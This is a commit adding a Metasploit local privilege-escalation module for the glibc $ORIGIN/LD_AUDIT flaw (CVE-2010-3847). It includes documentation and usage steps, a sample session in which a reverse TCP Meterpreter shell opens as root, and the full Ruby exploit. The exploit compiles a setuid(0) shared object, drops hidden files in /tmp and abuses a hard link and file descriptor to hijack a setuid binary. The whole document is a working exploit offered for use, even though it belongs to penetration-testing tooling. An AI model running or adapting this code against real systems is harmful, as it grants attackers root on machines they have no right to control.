Land #9467 linux priv esc against glibc origin
commit
fcaee81fba
|
@ -0,0 +1,75 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module attempts to gain root privileges on Linux systems by abusing a vulnerability in the GNU C Library (glibc) dynamic linker - aka glibc `$ORIGIN` expansion vulnerability.
|
||||||
|
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
glibc `ld.so` in versions before 2.11.3, and 2.12.x before 2.12.2 does not properly restrict use of the `LD_AUDIT` environment variable when loading setuid executables. This allows control over the `$ORIGIN` library search path resulting in execution of arbitrary shared objects.
|
||||||
|
|
||||||
|
This module opens a file descriptor to the specified suid executable via a hard link, then replaces the hard link with a shared object before instructing the linker to execute the file descriptor, resulting in arbitrary code execution.
|
||||||
|
|
||||||
|
The specified setuid binary must be readable and located on the same file system partition as the specified writable directory.
|
||||||
|
|
||||||
|
This module has been tested successfully on:
|
||||||
|
|
||||||
|
* glibc 2.5 on CentOS 5.4 (x86_64)
|
||||||
|
* glibc 2.5 on CentOS 5.5 (x86_64)
|
||||||
|
* glibc 2.12 on Fedora 13 (i386, x86_64)
|
||||||
|
|
||||||
|
RHEL 5 is reportedly affected, but untested.
|
||||||
|
|
||||||
|
Some versions of `ld.so` hit a failed assertion in `dl_open_worker` causing exploitation to fail.
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start `msfconsole`
|
||||||
|
2. Get a session
|
||||||
|
3. Do: `use exploit/linux/local/glibc_origin_expansion_priv_esc`
|
||||||
|
4. Do: `set SESSION [SESSION]`
|
||||||
|
5. Do: `check`
|
||||||
|
6. Do: `run`
|
||||||
|
7. You should get a new *root* session
|
||||||
|
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**SESSION**
|
||||||
|
|
||||||
|
Which session to use, which can be viewed with `sessions`
|
||||||
|
|
||||||
|
**WritableDir**
|
||||||
|
|
||||||
|
A writable directory file system path. (default: `/tmp`)
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf > use exploit/linux/local/glibc_origin_expansion_priv_esc
|
||||||
|
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > set session 1
|
||||||
|
session => 1
|
||||||
|
msf exploit(linux/local/glibc_origin_expansion_priv_esc) > run
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 172.16.191.244:4444
|
||||||
|
[+] The target appears to be vulnerable
|
||||||
|
[*] Using target: Linux x86
|
||||||
|
[*] Writing '/tmp/.R5Ork' (1279 bytes) ...
|
||||||
|
[*] Writing '/tmp/.yE35DWbLd' (320 bytes) ...
|
||||||
|
[*] Writing '/tmp/.sk7Z3Vl7vJ' (207 bytes) ...
|
||||||
|
[*] Launching exploit...
|
||||||
|
[*] Sending stage (857352 bytes) to 172.16.191.138
|
||||||
|
[*] Meterpreter session 2 opened (172.16.191.244:4444 -> 172.16.191.138:59187) at 2018-01-27 04:21:24 -0500
|
||||||
|
|
||||||
|
meterpreter > getuid
|
||||||
|
Server username: uid=0, gid=0, euid=0, egid=0
|
||||||
|
meterpreter > sysinfo
|
||||||
|
Computer : fedora13.localdomain
|
||||||
|
OS : Fedora 13 (Linux 2.6.33.3-85.fc13.i686.PAE)
|
||||||
|
Architecture : i686
|
||||||
|
BuildTuple : i486-linux-musl
|
||||||
|
Meterpreter : x86/linux
|
||||||
|
meterpreter >
|
||||||
|
```
|
||||||
|
|
|
@ -0,0 +1,231 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/local/linux'
|
||||||
|
require 'msf/core/exploit/exe'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Local
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
include Msf::Exploit::Local::Linux
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "glibc '$ORIGIN' Expansion Privilege Escalation",
|
||||||
|
'Description' => %q{
|
||||||
|
This module attempts to gain root privileges on Linux systems by abusing
|
||||||
|
a vulnerability in the GNU C Library (glibc) dynamic linker.
|
||||||
|
|
||||||
|
glibc ld.so in versions before 2.11.3, and 2.12.x before 2.12.2 does not
|
||||||
|
properly restrict use of the LD_AUDIT environment variable when loading
|
||||||
|
setuid executables which allows control over the $ORIGIN library search
|
||||||
|
path resulting in execution of arbitrary shared objects.
|
||||||
|
|
||||||
|
This module opens a file descriptor to the specified suid executable via
|
||||||
|
a hard link, then replaces the hard link with a shared object before
|
||||||
|
instructing the linker to execute the file descriptor, resulting in
|
||||||
|
arbitrary code execution.
|
||||||
|
|
||||||
|
The specified setuid binary must be readable and located on the same
|
||||||
|
file system partition as the specified writable directory.
|
||||||
|
|
||||||
|
This module has been tested successfully on glibc version 2.5 on CentOS
|
||||||
|
5.4 (x86_64), 2.5 on CentOS 5.5 (x86_64) and 2.12 on Fedora 13 (i386).
|
||||||
|
|
||||||
|
RHEL 5 is reportedly affected, but untested. Some versions of ld.so
|
||||||
|
hit a failed assertion in dl_open_worker causing exploitation to fail.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Tavis Ormandy', # Discovery and exploit
|
||||||
|
'Brendan Coles' # Metasploit
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Oct 18 2010',
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||||
|
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
|
||||||
|
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2010-3847' ],
|
||||||
|
[ 'BID', '44154' ],
|
||||||
|
[ 'EDB', '15274' ],
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2010/Oct/257' ],
|
||||||
|
[ 'URL', 'https://www.ubuntu.com/usn/usn-1009-1' ],
|
||||||
|
[ 'URL', 'https://security-tracker.debian.org/tracker/CVE-2010-3847' ],
|
||||||
|
[ 'URL', 'https://access.redhat.com/security/cve/CVE-2010-3847' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SUID_EXECUTABLE', [ true, 'Path to a suid executable', '/bin/ping' ]),
|
||||||
|
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def base_dir
|
||||||
|
datastore['WritableDir']
|
||||||
|
end
|
||||||
|
|
||||||
|
def suid_exe_path
|
||||||
|
datastore['SUID_EXECUTABLE']
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
glibc_banner = cmd_exec 'ldd --version'
|
||||||
|
glibc_version = Gem::Version.new glibc_banner.scan(/^ldd\s+\(.*\)\s+([\d\.]+)/).flatten.first
|
||||||
|
if glibc_version.eql? ''
|
||||||
|
vprint_error 'Could not determine the GNU C library version'
|
||||||
|
return CheckCode::Safe
|
||||||
|
elsif glibc_version >= Gem::Version.new('2.12.2') ||
|
||||||
|
(glibc_version >= Gem::Version.new('2.11.3') && glibc_version < Gem::Version.new('2.12'))
|
||||||
|
vprint_error "GNU C Library version #{glibc_version} is not vulnerable"
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
vprint_good "GNU C Library version #{glibc_version} is vulnerable"
|
||||||
|
|
||||||
|
unless setuid? suid_exe_path
|
||||||
|
vprint_error "#{suid_exe_path} is not setuid"
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
vprint_good "#{suid_exe_path} is setuid"
|
||||||
|
|
||||||
|
unless cmd_exec("test -r #{suid_exe_path} && echo true").include? 'true'
|
||||||
|
vprint_error("#{suid_exe_path} is not readable")
|
||||||
|
return CheckCode::Detected
|
||||||
|
end
|
||||||
|
vprint_good "#{suid_exe_path} is readable"
|
||||||
|
|
||||||
|
CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_and_chmodx(path, data)
|
||||||
|
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||||
|
rm_f path
|
||||||
|
write_file path, data
|
||||||
|
cmd_exec "chmod +x '#{path}'"
|
||||||
|
register_file_for_cleanup path
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
check_status = check
|
||||||
|
|
||||||
|
if check_status == CheckCode::Appears
|
||||||
|
print_good 'The target appears to be vulnerable'
|
||||||
|
elsif check_status == CheckCode::Detected
|
||||||
|
fail_with Failure::BadConfig, "#{suid_exe_path} is not suid or not readable"
|
||||||
|
else
|
||||||
|
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
|
||||||
|
end
|
||||||
|
|
||||||
|
suid_partition = cmd_exec "df -P -- '#{suid_exe_path}' | awk 'NR==2 {print $1}'"
|
||||||
|
base_partition = cmd_exec "df -P -- '#{base_dir}' | awk 'NR==2 {print $1}'"
|
||||||
|
if suid_partition == base_partition
|
||||||
|
vprint_good "'#{suid_exe_path}' and '#{base_dir}' are located on the same partition"
|
||||||
|
else
|
||||||
|
print_warning "'#{suid_exe_path}' and '#{base_dir}' are not located on the same partition"
|
||||||
|
end
|
||||||
|
|
||||||
|
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
payload_path = "#{base_dir}/#{payload_name}"
|
||||||
|
|
||||||
|
# Set target
|
||||||
|
uname = cmd_exec 'uname -m'
|
||||||
|
vprint_status "System architecture is #{uname}"
|
||||||
|
if target.name.eql? 'Automatic'
|
||||||
|
case uname
|
||||||
|
when 'x86_64'
|
||||||
|
my_target = targets[2]
|
||||||
|
when /x86/, /i\d86/
|
||||||
|
my_target = targets[1]
|
||||||
|
else
|
||||||
|
fail_with Failure::NoTarget, 'Unable to automatically select a target'
|
||||||
|
end
|
||||||
|
else
|
||||||
|
my_target = target
|
||||||
|
end
|
||||||
|
print_status "Using target: #{my_target.name}"
|
||||||
|
|
||||||
|
cpu = nil
|
||||||
|
case my_target['Arch']
|
||||||
|
when ARCH_X86
|
||||||
|
cpu = Metasm::Ia32.new
|
||||||
|
when ARCH_X64
|
||||||
|
cpu = Metasm::X86_64.new
|
||||||
|
else
|
||||||
|
fail_with Failure::NoTarget, 'Target is not compatible'
|
||||||
|
end
|
||||||
|
|
||||||
|
# Compile shared object
|
||||||
|
so_stub = %|
|
||||||
|
extern int setuid(int);
|
||||||
|
extern int setgid(int);
|
||||||
|
extern int system(const char *__s);
|
||||||
|
|
||||||
|
void init(void) __attribute__((constructor));
|
||||||
|
|
||||||
|
void __attribute__((constructor)) init() {
|
||||||
|
setuid(0);
|
||||||
|
setgid(0);
|
||||||
|
system("#{payload_path}");
|
||||||
|
}
|
||||||
|
|
|
||||||
|
|
||||||
|
begin
|
||||||
|
so = Metasm::ELF.compile_c(cpu, so_stub).encode_string(:lib)
|
||||||
|
rescue
|
||||||
|
print_error "Metasm encoding failed: #{$ERROR_INFO}"
|
||||||
|
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
|
||||||
|
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
|
||||||
|
fail_with Failure::Unknown, 'Metasm encoding failed'
|
||||||
|
end
|
||||||
|
|
||||||
|
# Upload shared object
|
||||||
|
so_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
so_path = "#{base_dir}/#{so_name}"
|
||||||
|
upload_and_chmodx so_path, so
|
||||||
|
|
||||||
|
# Upload exploit
|
||||||
|
link_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
link_path = "#{base_dir}/#{link_name}"
|
||||||
|
fd = rand(10..200)
|
||||||
|
exp = %(
|
||||||
|
rm -rf '#{link_path}'
|
||||||
|
mkdir '#{link_path}'
|
||||||
|
ln #{suid_exe_path} #{link_path}/#{link_name}
|
||||||
|
exec #{fd}< #{link_path}/#{link_name}
|
||||||
|
ls -l /proc/$$/fd/#{fd}
|
||||||
|
rm -rf '#{link_path}'
|
||||||
|
ls -l /proc/$$/fd/#{fd}
|
||||||
|
mv #{so_path} #{link_path}
|
||||||
|
LD_AUDIT="\\$ORIGIN" exec /proc/self/fd/#{fd}
|
||||||
|
)
|
||||||
|
|
||||||
|
exp_name = ".#{rand_text_alphanumeric rand(5..10)}"
|
||||||
|
exp_path = "#{base_dir}/#{exp_name}"
|
||||||
|
upload_and_chmodx exp_path, exp
|
||||||
|
register_file_for_cleanup link_path
|
||||||
|
|
||||||
|
# Upload payload
|
||||||
|
upload_and_chmodx payload_path, generate_payload_exe
|
||||||
|
|
||||||
|
# Launch exploit
|
||||||
|
print_status 'Launching exploit...'
|
||||||
|
# The echo at the end of the command is required
|
||||||
|
# else the original session may die
|
||||||
|
output = cmd_exec "#{exp_path}& echo "
|
||||||
|
output.each_line { |line| vprint_status line.chomp }
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue